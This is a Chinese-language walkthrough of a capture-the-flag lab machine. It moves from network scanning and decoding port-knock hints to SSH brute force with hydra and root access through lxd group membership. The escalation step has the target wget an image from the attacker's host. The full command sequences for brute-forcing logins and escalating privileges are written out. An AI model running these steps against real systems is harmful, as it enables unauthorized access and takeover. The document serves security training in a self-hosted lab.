文章目录
- 一、靶场搭建
- 1. 靶场描述
- 2. 下载靶机环境
- 3. 靶场搭建
- 二、渗透靶场
- 1. 确定靶机IP
- 2. 探测靶场开放端口及对应服务
- 3. 扫描网络目录结构
- 4. 敏感数据获取
- 5. 获取shell
- 6. 提权
- 6.1 敏感信息获取
- 6.2 lxd提权
一、靶场搭建
1. 靶场描述
Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.
描述:推荐使用virtualBox创建虚拟机,中等难度。
2. 下载靶机环境
靶场源地址点击跳转,点击图中标注处下载靶场源文件。
下载完成的文件如下:
一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失,对应文件的校验码官方网址会提供。
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
3. 靶场搭建
使用VMware打开对应的
ova
文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT
模式,然后点击启动就行。
如果你在使用vmware打开虚拟机时,虚拟机一直停在
freeing smp alternatives memory:40k
无法启动成功,可以尝试进行硬件兼容性
,设置对应的为ESXI7.0
。
二、渗透靶场
1. 确定靶机IP
确定靶机IP的步骤:
- 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
- nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为
nat模式
确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.129/24
通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为
192.168.37.128
.
2. 探测靶场开放端口及对应服务
探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。中途重启了电脑,导致靶机ip变成了
192.168.37.130
。
# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.130
结果图:
可以确认主机开放了
80
,端口对应的是http服务。通过浏览器访问web服务。
3. 扫描网络目录结构
通过
dirsearch
扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。
# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.130 -x 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
接下来就是依次访问这些路径。
4. 敏感数据获取
在backup目录获取到一个字典文件
wordlist.txt
,推测应该是账号或者密码的字典,先使用wget
下载到本地。
看首页的源代码,发现作者的提示信息。从提示中可以得到的信息: 1. 一个用户名
jubiscleudo
(可和之前的字典文件搭配,可以进行ssh爆破登录).2.靶机设置端口敲门服务。3. 需要关注jpg文件。4. 一个邮件地址。
知道靶机设定了端口敲门服务,接下来就需要知道敲门的端口序列。第一个位于
config/1.txt
里面。内容通过了base64编码,通过指定python代码进行解码,得知值为10000
import base64
import file_util
import sysdef encode_base64(data: bytes) -> str:"""对输入的字节数据进行 Base64 编码。:param data: 要编码的字节数据:return: 编码后的 Base64 字符串"""return base64.b64encode(data).decode('utf-8')def decode_base64(encoded_data: str) -> bytes:"""对输入的 Base64 字符串进行解码。:param encoded_data: Base64 编码的字符串:return: 解码后的字节数据"""return base64.b64decode(encoded_data).decode("utf-8")if __name__ == "__main__":if len(sys.argv) != 2:print("Usage: python *.py filepath")sys.exit(0)file_path = sys.argv[1]content = file_util.get_file_content(file_path)if not content:print("file don't have content")sys.exit(0)print(decode_base64(content.encode("utf-8")))
第二个端口保存在
css/2.txt
中,通过使用brainfuck进行编码,可以使用以下这段python代码进行解码。得知第二个端口为4444
.
import file_util
import sysdef brainfuck_interpreter(code, input_data=""):"""解码:param code: :param input_data: :return: """tape = [0] * 30000 # 初始化 tape,有 30,000 个内存单元pointer = 0 # 指针位置code_pointer = 0 # 代码位置input_pointer = 0 # 输入位置output = [] # 输出结果brackets = [] # 跳转位置的栈while code_pointer < len(code):command = code[code_pointer]if command == ">":pointer += 1elif command == "<":pointer -= 1elif command == "+":tape[pointer] = (tape[pointer] + 1) % 256elif command == "-":tape[pointer] = (tape[pointer] - 1) % 256elif command == ".":output.append(chr(tape[pointer]))elif command == ",":if input_pointer < len(input_data):tape[pointer] = ord(input_data[input_pointer])input_pointer += 1else:tape[pointer] = 0elif command == "[":if tape[pointer] == 0:# 跳到对应的 "]"open_brackets = 1while open_brackets > 0:code_pointer += 1if code[code_pointer] == "[":open_brackets += 1elif code[code_pointer] == "]":open_brackets -= 1else:brackets.append(code_pointer)elif command == "]":if tape[pointer] != 0:code_pointer = brackets[-1]else:brackets.pop()code_pointer += 1return "".join(output)def string_to_brainfuck(input_string):"""编码:param input_string: :return: """code = []current_value = 0 # 当前指针位置的值for char in input_string:target_value = ord(char)diff = target_value - current_value# 使用循环来减少字符if diff > 0:# 找出适当的倍数来创建一个循环num_loops = diff // 10remainder = diff % 10# 循环操作if num_loops > 0:code.append('+' + '[' + '>' + '+' * 10 + '<' + ']' * num_loops)# 剩余的差值if remainder > 0:code.append('+' * remainder)elif diff < 0:# 同样处理负差值num_loops = (-diff) // 10remainder = (-diff) % 10if num_loops > 0:code.append('-' + '[' + '>' + '-' * 10 + '<' + ']' * num_loops)if remainder > 0:code.append('-' * remainder)# 输出当前字符code.append('.')# 更新当前指针位置的值current_value = target_valuereturn ''.join(code)if __name__ == "__main__":if len(sys.argv) != 2:print("Usage: python *.py filepath")sys.exit(0)file_path = sys.argv[1]content = file_util.get_file_content(file_path)if not content:print("file don't have content")sys.exit(0)print(brainfuck_interpreter(content))
第三个端口的保存位置,在
3.jpg
中,和之前靶机作者的提示呼应上了,是个jpg文件。猜测使用了隐写。首先通过wget
把图片下载下来。得知第三个为65535
sudo wget http://192.168.37.130/3.jpg# 查看隐藏的文件信息
steghide info 3.jpg
# 提取内嵌文件
sudo steghide extract -sf 3.jpg
# 查看文件内容
cat steganopayload148505.txt
在网页上另外没有找到什么端口信息,接下来直接进行端口敲门。
knock 192.168.37.130 10000 4444 65535
多次敲门之后发现,靶机端口一直不开放,最后登录靶机之后,发现靶机的knockd服务挂了,需要修改。在登录靶机键盘输入有问题,如果你遇到这个问题,可以根据以下命令进行修复。
# 检查键盘布局状态
localectl status
# 设置键盘布局为us
sudo loadkeys us# 修改knocked配置文件,修改为正确的网络接口,对应你敲门的ip的接口
vim /etc/default/knockd
# 启动服务
systemctl start knockd
修复完这些问题之后,重新进行敲门,发现靶机22端口开放了。
5. 获取shell
ssh端口开放之后,我们利用之前网站得到的用户名和字典进行ssh爆破登录尝试,使用
hydra
程序进行。成功爆破出账号和密码。
# -l 指定登录名 -P 指定登录密码字典
hydra -l jubiscleudo -P ./wordlist.txt ssh://192.168.37.130
6. 提权
进入目标系统中之后,我个人思路一般就是先从这个地方查看是否存在提权地方
- 检查suid文件,并查看对应文件创建者身份。
- 检查sudo -l,是否有可利用的点。
- 检查
/etc/crontab
定时任务,并且查看对应文件权限。 - 检查
/etc/passwd
和/etc/shadow
文件,是否可以进行读取,可以读取就有几率爆破出其它用户的密码。 - 检查系统是否存在敏感信息,比如某个用户家目录存储了密码、系统备份文件、查看密码记录等等。
- 检查是否存在内核漏洞,可以用来提权的。
6.1 敏感信息获取
在查询系统的备份文件的时候,发现了用户的敏感信息。发现了另一个用户的密码
TrOLLED_3
。
find / -name "*backup*" 2>>/dev/null
6.2 lxd提权
切换至
hackable_3
用户之后,发现这个用户属于lxd
组,可以lxd进行提权。
简单介绍一下lxd提权:
- lxd(Linux Daemon)是一个轻量级容器管理程序,lxd基于lxc容器技术实现。
- lxc(Linux Container)是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。
lxd提权,就是利用lxd创建一个容器,然后把宿主机的磁盘挂载到容器内部,然后用容器的权限去操作宿主机磁盘内容从而提权。
接下来进行具体的提权步骤
# 在攻击机上运行
# 下载 alpine镜像
git clone https://github.com/saghul/lxd-alpine-builder.git
# alpine镜像构建, 比如使用root用户才能执行
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 80# 靶机下载对应镜像文件
wget http://192.168.37.22/alpine-v3.13-x86_64-20210218_0139.tar.gz
# 镜像导入
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
# 初始化lxd
lxd init
# 配置镜像
lxc init test test -c security.privileged=true
# 挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true# 启动容器
lxc start test
# 进入容器后台
lxc exec test /bin/sh
id
# 进入挂载本地根目录对应的容器目录
cd /mnt/root
cd rootcat root.txt
成功获取到最终root目录下的flag文件。